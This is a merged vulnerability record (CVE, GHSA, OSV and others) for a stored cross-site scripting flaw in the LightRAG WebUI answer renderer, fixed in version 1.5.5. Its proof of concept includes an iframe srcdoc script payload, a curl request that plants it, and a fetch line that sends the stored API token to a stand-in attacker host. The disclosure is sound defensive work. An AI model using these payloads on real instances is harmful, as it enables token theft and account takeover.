{"id":"CVE-2026-86062","aliases":["EUVD-2026-84550","GHSA-xpjq-3w4w-w5wr","PYSEC-2026-4065"],"status":"published","title":"LightRAG: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, lightrag_webui/src/components/retrieval/ChatMessage.tsx renders answer and thinking content with react-markdown, rehypeRaw, and skipHtml=false without an HTML sanitizer. An attacker who can add a document can store raw HTML that is returned through the query path and rendered as active content by MessageMarkdown. A user who later retrieves the content can execute attacker-controlled JavaScript through elements such as an iframe srcdoc; the additional Mermaid securityLevel: loose rendering path also injects generated SVG through innerHTML. The script runs in the LightRAG WebUI origin and can read the API token in localStorage and perform API actions as the victim. This issue is fixed in version 1.5.5.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00338,"percentile":0.27572,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-09-22T16:21:43Z","modified":"2026-10-28T02:30:25Z","fixes":[{"ecosystem":"PyPI","package":"lightrag-hku","fixed_in":["1.5.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"lightrag-hku","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.5.4"},{"fixed":"1.5.5"}]}]},{"source":"osv","ecosystem":"PyPI","package":"lightrag-hku","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.5"}]}],"versions":["0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","1.0.0","1.0.1","1.0.3","1.0.5","1.0.6","1.0.8","1.0.9","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.2.1","1.2.2","1.2.3","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.1","1.4.10","1.4.11","1.4.11rc2","1.4.12","1.4.12rc1","1.4.13","1.4.13rc1","1.4.14","1.4.15","1.4.16","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8.1","1.4.8.2","1.4.8rc4","1.4.8rc6","1.4.8rc7","1.4.8rc8","1.4.8rc9","1.4.9","1.4.9.1","1.4.9.10","1.4.9.11","1.4.9.2","1.4.9.3","1.4.9.4","1.4.9.4rc1","1.4.9.5","1.4.9.6","1.4.9.7","1.4.9.8","1.4.9.9","1.4.9rc1","1.4.9rc2","1.4.9rc3","1.4.9rc4","1.5.0","1.5.0rc1","1.5.0rc2","1.5.0rc3","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5rc1"]},{"source":"osv","ecosystem":"PyPI","package":"lightrag-hku","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.5"}]}],"versions":["0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","1.0.0","1.0.1","1.0.3","1.0.5","1.0.6","1.0.8","1.0.9","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.2.1","1.2.2","1.2.3","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.1","1.4.10","1.4.11","1.4.11rc2","1.4.12","1.4.12rc1","1.4.13","1.4.13rc1","1.4.14","1.4.15","1.4.16","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8.1","1.4.8.2","1.4.8rc4","1.4.8rc6","1.4.8rc7","1.4.8rc8","1.4.8rc9","1.4.9","1.4.9.1","1.4.9.10","1.4.9.11","1.4.9.2","1.4.9.3","1.4.9.4","1.4.9.4rc1","1.4.9.5","1.4.9.6","1.4.9.7","1.4.9.8","1.4.9.9","1.4.9rc1","1.4.9rc2","1.4.9rc3","1.4.9rc4","1.5.0","1.5.0rc1","1.5.0rc2","1.5.0rc3","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5rc1"]}],"products":[{"vendor":"hkuds","product":"lightrag"}],"references":[{"url":"https://github.com/HKUDS/LightRAG/security/advisories/GHSA-xpjq-3w4w-w5wr","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/HKUDS/LightRAG/pull/3437","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/HKUDS/LightRAG/commit/8bf032a5200f293b482dd945d436e25cd08bd953","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86062","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xpjq-3w4w-w5wr","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/86xxx/CVE-2026-86062.json","tags":["advisory"]},{"url":"https://github.com/HKUDS/LightRAG","tags":["package"]},{"url":"https://pypi.org/project/lightrag-hku","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-86062","title":"LightRAG: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, lightrag_webui/src/components/retrieval/ChatMessage.tsx renders answer and thinking content with react-markdown, rehypeRaw, and skipHtml=false without an HTML sanitizer. An attacker who can add a document can store raw HTML that is returned through the query path and rendered as active content by MessageMarkdown. A user who later retrieves the content can execute attacker-controlled JavaScript through elements such as an iframe srcdoc; the additional Mermaid securityLevel: loose rendering path also injects generated SVG through innerHTML. The script runs in the LightRAG WebUI origin and can read the API token in localStorage and perform API actions as the victim. This issue is fixed in version 1.5.5.","status":"published","published":"2026-09-22T16:21:43.846Z","modified":"2026-09-22T18:17:00.212Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:49:31.546614Z"}],"euvd":[{"id":"EUVD-2026-84550","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, lightrag_webui/src/components/retrieval/ChatMessage.tsx renders answer and thinking content with react-markdown, rehypeRaw, and skipHtml=false without an HTML sanitizer. An attacker who can add a document can store raw HTML that is returned through the query path and rendered as active content by MessageMarkdown. A user who later retrieves the content can execute attacker-controlled JavaScript through elements such as an iframe srcdoc; the additional Mermaid securityLevel: loose rendering path also injects generated SVG through innerHTML. The script runs in the LightRAG WebUI origin and can read the API token in localStorage and perform API actions as the victim. This issue is fixed in version 1.5.5.","status":"published","published":"2026-09-22T16:21:43Z","modified":"2026-09-22T18:17:00Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T17:28:02.149692Z"}],"ghsa":[{"id":"GHSA-xpjq-3w4w-w5wr","title":"lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content","description":"### Summary\nThe LightRAG WebUI renders assistant/answer chat content as **raw HTML** — `react-markdown` is\nconfigured with `rehypePlugins={[rehypeRaw]}` and `skipHtml={false}` and **no** HTML sanitizer\n(`rehype-sanitize`), element allow-list, or custom `urlTransform`. Because answer content is derived\nfrom user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript\npayload that executes in the browser of any user who later retrieves it (typically an administrator),\nleading to auth-token theft from `localStorage` and full API takeover. No authentication is required in\nthe default configuration.\n\n### Details\nSink — `lightrag_webui/src/components/retrieval/ChatMessage.tsx`:\n- Main answer (`MessageMarkdown`, lines ~348-351) and thinking content (lines ~252-272) render with\n  `rehypePlugins={[rehypeRaw, …]}` and `skipHtml={false}`. The `components` map (lines ~111-156) only\n  restyles safe formatting tags (`p`, `h1`–`h4`, `ul`, `ol`, `li`, `code`); there is no\n  `rehype-sanitize`, no `allowedElements`/`disallowedElements`, and no custom `urlTransform`.\n- Second sink: mermaid is initialized with `securityLevel: 'loose'` (line ~433) and the rendered SVG is\n  injected via `container.innerHTML = svg` (line ~483) + `bindFunctions(container)`. `'loose'` disables\n  mermaid's output sanitization, so a ` ```mermaid ` block in answer content (HTML label / `click`\n  directive) is an additional script-execution path.\n- Hardening (not code execution): KaTeX is set with `trust: true` (lines ~261/~359). `\\href{javascript:…}`\n  is blocked by React 19, but `\\includegraphics{URL}` renders a live remote `\u003cimg src\u003e` (arbitrary\n  external resource load from the victim's browser). Recommend `trust: false`.\n\nSource → sink:\n`POST /documents/text` or `POST /documents/upload` stores the document → `POST /query` returns it\n(verbatim when `only_need_context=true`, `lightrag/api/routers/query_routes.py:27`; otherwise echoed by\nthe LLM) → the response is streamed into `assistantMessage.content`\n(`lightrag_webui/src/features/RetrievalView.tsx:340`) → rendered by the sink above.\n\nreact-markdown's built-in defenses do NOT cover this: it sanitizes `href`/`src` URLs (so `javascript:`\nlinks are blocked) and React ignores string event handlers (so `\u003cimg onerror\u003e` is dropped), but raw\nelements such as `\u003ciframe srcdoc=\"…\"\u003e` and `\u003csvg\u003e\u003cscript\u003e` are rendered unchanged and execute.\n\n### PoC\nBenign, local-only. Tested at commit `f3378a3` (v1.5.5) with `react@19`, `react-markdown@10.1.0`,\n`rehype-raw@7.0.0`.\n\n**Fastest check (code review, ~10s):** in `ChatMessage.tsx`, the `\u003cReactMarkdown\u003e` that renders answers\nuses `rehypePlugins={[rehypeRaw, …]}` with `skipHtml={false}` and no `rehype-sanitize` / allow-list.\nPer react-markdown's own documentation, `rehype-raw` on untrusted input without `rehype-sanitize`\nallows HTML injection — that is the vulnerability.\n\n**Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:**\n```bash\nmkdir xss-check \u0026\u0026 cd xss-check\nnpm init -y\nnpm install react@19 react-dom@19 react-markdown@10 rehype-raw@7\n# save the script below as poc.mjs, then:\nnode poc.mjs\n# open the generated poc.html in any browser (or headless):\n#   msedge --headless=new --dump-dom \"file:///ABS/PATH/poc.html\"\n```\n`poc.mjs`:\n```js\nimport React from 'react';\nimport { renderToStaticMarkup } from 'react-dom/server';\nimport ReactMarkdown from 'react-markdown';\nimport rehypeRaw from 'rehype-raw';\nimport { writeFileSync } from 'fs';\n\n// Stands in for an assistant answer built from an ingested document.\nconst answer =\n  `\u003ciframe srcdoc=\"\u003cscript\u003e` +\n  `var h=parent.document.createElement('h1');h.style.color='red';` +\n  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +\n  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +\n  `\u003c\\/script\u003e\"\u003e\u003c/iframe\u003e`;\n\n// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):\nconst body = renderToStaticMarkup(\n  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)\n);\nwriteFileSync('poc.html', `\u003c!doctype html\u003e\u003ctitle\u003ebefore-xss\u003c/title\u003e\u003cbody\u003e${body}\u003c/body\u003e`);\nconsole.log(body);   // note the LIVE \u003ciframe srcDoc=\"...\"\u003e — not HTML-escaped\n```\n\n**Observed** (verified in headless Chromium/Edge): the injected `srcdoc` script runs — the page title\nbecomes `XSS-EXECUTED` and a red \"XSS EXECUTED on this page\" heading is appended to the document. This\nconfirms attacker HTML in answer content executes. (Separately: `\u003cscript\u003e`, `\u003csvg\u003e\u003cscript\u003e`, and\n`\u003ciframe srcdoc\u003e` survive rendering; `\u003cimg onerror\u003e` and `javascript:` links are neutralized by React /\nreact-markdown, so `\u003ciframe srcdoc\u003e` is the reliable vector.)\n\n**Illustrative end-to-end source path (in a live instance):**\n```bash\ncurl -X POST http://127.0.0.1:9621/documents/text \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"text\":\"\u003ciframe srcdoc=\\\"\u0026lt;script\u0026gt;document.title=document.domain\u0026lt;/script\u0026gt;\\\"\u003e\u003c/iframe\u003e\",\"file_source\":\"note.md\"}'\n```\nThen query the knowledge base from the WebUI (or `POST /query` with `only_need_context=true`); the stored\npayload renders and the benign marker script runs in the viewer's browser (the page title becomes the\norigin). A real attacker replaces the benign marker with\n`fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN'))` to exfiltrate the victim's JWT\n(verified storage key) and impersonate them against the API.\n\n### Impact\nStored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any\nauthenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs\narbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the\nauth token in `localStorage`, the injected script can read it and drive the API as the victim\n(exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full\naccount/instance takeover.","status":"published","published":"2026-09-22T20:40:27Z","modified":"2026-09-22T20:40:28Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:41:20.575159Z"}],"nvd":[{"id":"CVE-2026-86062","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, lightrag_webui/src/components/retrieval/ChatMessage.tsx renders answer and thinking content with react-markdown, rehypeRaw, and skipHtml=false without an HTML sanitizer. An attacker who can add a document can store raw HTML that is returned through the query path and rendered as active content by MessageMarkdown. A user who later retrieves the content can execute attacker-controlled JavaScript through elements such as an iframe srcdoc; the additional Mermaid securityLevel: loose rendering path also injects generated SVG through innerHTML. The script runs in the LightRAG WebUI origin and can read the API token in localStorage and perform API actions as the victim. This issue is fixed in version 1.5.5.","status":"published","published":"2026-09-22T17:17:27.863Z","modified":"2026-09-22T19:16:54.87Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:50.368368Z"}],"osv":[{"id":"CVE-2026-86062","title":"LightRAG: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, lightrag_webui/src/components/retrieval/ChatMessage.tsx renders answer and thinking content with react-markdown, rehypeRaw, and skipHtml=false without an HTML sanitizer. An attacker who can add a document can store raw HTML that is returned through the query path and rendered as active content by MessageMarkdown. A user who later retrieves the content can execute attacker-controlled JavaScript through elements such as an iframe srcdoc; the additional Mermaid securityLevel: loose rendering path also injects generated SVG through innerHTML. The script runs in the LightRAG WebUI origin and can read the API token in localStorage and perform API actions as the victim. This issue is fixed in version 1.5.5.","status":"published","published":"2026-09-22T16:21:43.846Z","modified":"2026-10-28T02:30:25.49126794Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:18.825071Z"},{"id":"GHSA-xpjq-3w4w-w5wr","title":"lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content","description":"### Summary\nThe LightRAG WebUI renders assistant/answer chat content as **raw HTML** — `react-markdown` is\nconfigured with `rehypePlugins={[rehypeRaw]}` and `skipHtml={false}` and **no** HTML sanitizer\n(`rehype-sanitize`), element allow-list, or custom `urlTransform`. Because answer content is derived\nfrom user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript\npayload that executes in the browser of any user who later retrieves it (typically an administrator),\nleading to auth-token theft from `localStorage` and full API takeover. No authentication is required in\nthe default configuration.\n\n### Details\nSink — `lightrag_webui/src/components/retrieval/ChatMessage.tsx`:\n- Main answer (`MessageMarkdown`, lines ~348-351) and thinking content (lines ~252-272) render with\n  `rehypePlugins={[rehypeRaw, …]}` and `skipHtml={false}`. The `components` map (lines ~111-156) only\n  restyles safe formatting tags (`p`, `h1`–`h4`, `ul`, `ol`, `li`, `code`); there is no\n  `rehype-sanitize`, no `allowedElements`/`disallowedElements`, and no custom `urlTransform`.\n- Second sink: mermaid is initialized with `securityLevel: 'loose'` (line ~433) and the rendered SVG is\n  injected via `container.innerHTML = svg` (line ~483) + `bindFunctions(container)`. `'loose'` disables\n  mermaid's output sanitization, so a ` ```mermaid ` block in answer content (HTML label / `click`\n  directive) is an additional script-execution path.\n- Hardening (not code execution): KaTeX is set with `trust: true` (lines ~261/~359). `\\href{javascript:…}`\n  is blocked by React 19, but `\\includegraphics{URL}` renders a live remote `\u003cimg src\u003e` (arbitrary\n  external resource load from the victim's browser). Recommend `trust: false`.\n\nSource → sink:\n`POST /documents/text` or `POST /documents/upload` stores the document → `POST /query` returns it\n(verbatim when `only_need_context=true`, `lightrag/api/routers/query_routes.py:27`; otherwise echoed by\nthe LLM) → the response is streamed into `assistantMessage.content`\n(`lightrag_webui/src/features/RetrievalView.tsx:340`) → rendered by the sink above.\n\nreact-markdown's built-in defenses do NOT cover this: it sanitizes `href`/`src` URLs (so `javascript:`\nlinks are blocked) and React ignores string event handlers (so `\u003cimg onerror\u003e` is dropped), but raw\nelements such as `\u003ciframe srcdoc=\"…\"\u003e` and `\u003csvg\u003e\u003cscript\u003e` are rendered unchanged and execute.\n\n### PoC\nBenign, local-only. Tested at commit `f3378a3` (v1.5.5) with `react@19`, `react-markdown@10.1.0`,\n`rehype-raw@7.0.0`.\n\n**Fastest check (code review, ~10s):** in `ChatMessage.tsx`, the `\u003cReactMarkdown\u003e` that renders answers\nuses `rehypePlugins={[rehypeRaw, …]}` with `skipHtml={false}` and no `rehype-sanitize` / allow-list.\nPer react-markdown's own documentation, `rehype-raw` on untrusted input without `rehype-sanitize`\nallows HTML injection — that is the vulnerability.\n\n**Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:**\n```bash\nmkdir xss-check \u0026\u0026 cd xss-check\nnpm init -y\nnpm install react@19 react-dom@19 react-markdown@10 rehype-raw@7\n# save the script below as poc.mjs, then:\nnode poc.mjs\n# open the generated poc.html in any browser (or headless):\n#   msedge --headless=new --dump-dom \"file:///ABS/PATH/poc.html\"\n```\n`poc.mjs`:\n```js\nimport React from 'react';\nimport { renderToStaticMarkup } from 'react-dom/server';\nimport ReactMarkdown from 'react-markdown';\nimport rehypeRaw from 'rehype-raw';\nimport { writeFileSync } from 'fs';\n\n// Stands in for an assistant answer built from an ingested document.\nconst answer =\n  `\u003ciframe srcdoc=\"\u003cscript\u003e` +\n  `var h=parent.document.createElement('h1');h.style.color='red';` +\n  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +\n  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +\n  `\u003c\\/script\u003e\"\u003e\u003c/iframe\u003e`;\n\n// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):\nconst body = renderToStaticMarkup(\n  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)\n);\nwriteFileSync('poc.html', `\u003c!doctype html\u003e\u003ctitle\u003ebefore-xss\u003c/title\u003e\u003cbody\u003e${body}\u003c/body\u003e`);\nconsole.log(body);   // note the LIVE \u003ciframe srcDoc=\"...\"\u003e — not HTML-escaped\n```\n\n**Observed** (verified in headless Chromium/Edge): the injected `srcdoc` script runs — the page title\nbecomes `XSS-EXECUTED` and a red \"XSS EXECUTED on this page\" heading is appended to the document. This\nconfirms attacker HTML in answer content executes. (Separately: `\u003cscript\u003e`, `\u003csvg\u003e\u003cscript\u003e`, and\n`\u003ciframe srcdoc\u003e` survive rendering; `\u003cimg onerror\u003e` and `javascript:` links are neutralized by React /\nreact-markdown, so `\u003ciframe srcdoc\u003e` is the reliable vector.)\n\n**Illustrative end-to-end source path (in a live instance):**\n```bash\ncurl -X POST http://127.0.0.1:9621/documents/text \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"text\":\"\u003ciframe srcdoc=\\\"\u0026lt;script\u0026gt;document.title=document.domain\u0026lt;/script\u0026gt;\\\"\u003e\u003c/iframe\u003e\",\"file_source\":\"note.md\"}'\n```\nThen query the knowledge base from the WebUI (or `POST /query` with `only_need_context=true`); the stored\npayload renders and the benign marker script runs in the viewer's browser (the page title becomes the\norigin). A real attacker replaces the benign marker with\n`fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN'))` to exfiltrate the victim's JWT\n(verified storage key) and impersonate them against the API.\n\n### Impact\nStored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any\nauthenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs\narbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the\nauth token in `localStorage`, the injected script can read it and drive the API as the victim\n(exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full\naccount/instance takeover.","status":"published","published":"2026-09-22T20:40:27Z","modified":"2026-10-01T17:55:54.289118912Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:47:00.198893Z"},{"id":"PYSEC-2026-4065","title":"lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content","description":"### Summary\nThe LightRAG WebUI renders assistant/answer chat content as **raw HTML** — `react-markdown` is\nconfigured with `rehypePlugins={[rehypeRaw]}` and `skipHtml={false}` and **no** HTML sanitizer\n(`rehype-sanitize`), element allow-list, or custom `urlTransform`. Because answer content is derived\nfrom user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript\npayload that executes in the browser of any user who later retrieves it (typically an administrator),\nleading to auth-token theft from `localStorage` and full API takeover. No authentication is required in\nthe default configuration.\n\n### Details\nSink — `lightrag_webui/src/components/retrieval/ChatMessage.tsx`:\n- Main answer (`MessageMarkdown`, lines ~348-351) and thinking content (lines ~252-272) render with\n  `rehypePlugins={[rehypeRaw, …]}` and `skipHtml={false}`. The `components` map (lines ~111-156) only\n  restyles safe formatting tags (`p`, `h1`–`h4`, `ul`, `ol`, `li`, `code`); there is no\n  `rehype-sanitize`, no `allowedElements`/`disallowedElements`, and no custom `urlTransform`.\n- Second sink: mermaid is initialized with `securityLevel: 'loose'` (line ~433) and the rendered SVG is\n  injected via `container.innerHTML = svg` (line ~483) + `bindFunctions(container)`. `'loose'` disables\n  mermaid's output sanitization, so a ` ```mermaid ` block in answer content (HTML label / `click`\n  directive) is an additional script-execution path.\n- Hardening (not code execution): KaTeX is set with `trust: true` (lines ~261/~359). `\\href{javascript:…}`\n  is blocked by React 19, but `\\includegraphics{URL}` renders a live remote `\u003cimg src\u003e` (arbitrary\n  external resource load from the victim's browser). Recommend `trust: false`.\n\nSource → sink:\n`POST /documents/text` or `POST /documents/upload` stores the document → `POST /query` returns it\n(verbatim when `only_need_context=true`, `lightrag/api/routers/query_routes.py:27`; otherwise echoed by\nthe LLM) → the response is streamed into `assistantMessage.content`\n(`lightrag_webui/src/features/RetrievalView.tsx:340`) → rendered by the sink above.\n\nreact-markdown's built-in defenses do NOT cover this: it sanitizes `href`/`src` URLs (so `javascript:`\nlinks are blocked) and React ignores string event handlers (so `\u003cimg onerror\u003e` is dropped), but raw\nelements such as `\u003ciframe srcdoc=\"…\"\u003e` and `\u003csvg\u003e\u003cscript\u003e` are rendered unchanged and execute.\n\n### PoC\nBenign, local-only. Tested at commit `f3378a3` (v1.5.5) with `react@19`, `react-markdown@10.1.0`,\n`rehype-raw@7.0.0`.\n\n**Fastest check (code review, ~10s):** in `ChatMessage.tsx`, the `\u003cReactMarkdown\u003e` that renders answers\nuses `rehypePlugins={[rehypeRaw, …]}` with `skipHtml={false}` and no `rehype-sanitize` / allow-list.\nPer react-markdown's own documentation, `rehype-raw` on untrusted input without `rehype-sanitize`\nallows HTML injection — that is the vulnerability.\n\n**Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:**\n```bash\nmkdir xss-check \u0026\u0026 cd xss-check\nnpm init -y\nnpm install react@19 react-dom@19 react-markdown@10 rehype-raw@7\n# save the script below as poc.mjs, then:\nnode poc.mjs\n# open the generated poc.html in any browser (or headless):\n#   msedge --headless=new --dump-dom \"file:///ABS/PATH/poc.html\"\n```\n`poc.mjs`:\n```js\nimport React from 'react';\nimport { renderToStaticMarkup } from 'react-dom/server';\nimport ReactMarkdown from 'react-markdown';\nimport rehypeRaw from 'rehype-raw';\nimport { writeFileSync } from 'fs';\n\n// Stands in for an assistant answer built from an ingested document.\nconst answer =\n  `\u003ciframe srcdoc=\"\u003cscript\u003e` +\n  `var h=parent.document.createElement('h1');h.style.color='red';` +\n  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +\n  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +\n  `\u003c\\/script\u003e\"\u003e\u003c/iframe\u003e`;\n\n// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):\nconst body = renderToStaticMarkup(\n  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)\n);\nwriteFileSync('poc.html', `\u003c!doctype html\u003e\u003ctitle\u003ebefore-xss\u003c/title\u003e\u003cbody\u003e${body}\u003c/body\u003e`);\nconsole.log(body);   // note the LIVE \u003ciframe srcDoc=\"...\"\u003e — not HTML-escaped\n```\n\n**Observed** (verified in headless Chromium/Edge): the injected `srcdoc` script runs — the page title\nbecomes `XSS-EXECUTED` and a red \"XSS EXECUTED on this page\" heading is appended to the document. This\nconfirms attacker HTML in answer content executes. (Separately: `\u003cscript\u003e`, `\u003csvg\u003e\u003cscript\u003e`, and\n`\u003ciframe srcdoc\u003e` survive rendering; `\u003cimg onerror\u003e` and `javascript:` links are neutralized by React /\nreact-markdown, so `\u003ciframe srcdoc\u003e` is the reliable vector.)\n\n**Illustrative end-to-end source path (in a live instance):**\n```bash\ncurl -X POST http://127.0.0.1:9621/documents/text \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"text\":\"\u003ciframe srcdoc=\\\"\u0026lt;script\u0026gt;document.title=document.domain\u0026lt;/script\u0026gt;\\\"\u003e\u003c/iframe\u003e\",\"file_source\":\"note.md\"}'\n```\nThen query the knowledge base from the WebUI (or `POST /query` with `only_need_context=true`); the stored\npayload renders and the benign marker script runs in the viewer's browser (the page title becomes the\norigin). A real attacker replaces the benign marker with\n`fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN'))` to exfiltrate the victim's JWT\n(verified storage key) and impersonate them against the API.\n\n### Impact\nStored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any\nauthenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs\narbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the\nauth token in `localStorage`, the injected script can read it and drive the API as the victim\n(exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full\naccount/instance takeover.","status":"published","published":"2026-10-01T16:38:37.654494Z","modified":"2026-10-01T17:45:04.640690868Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:57.255153Z"}]}}
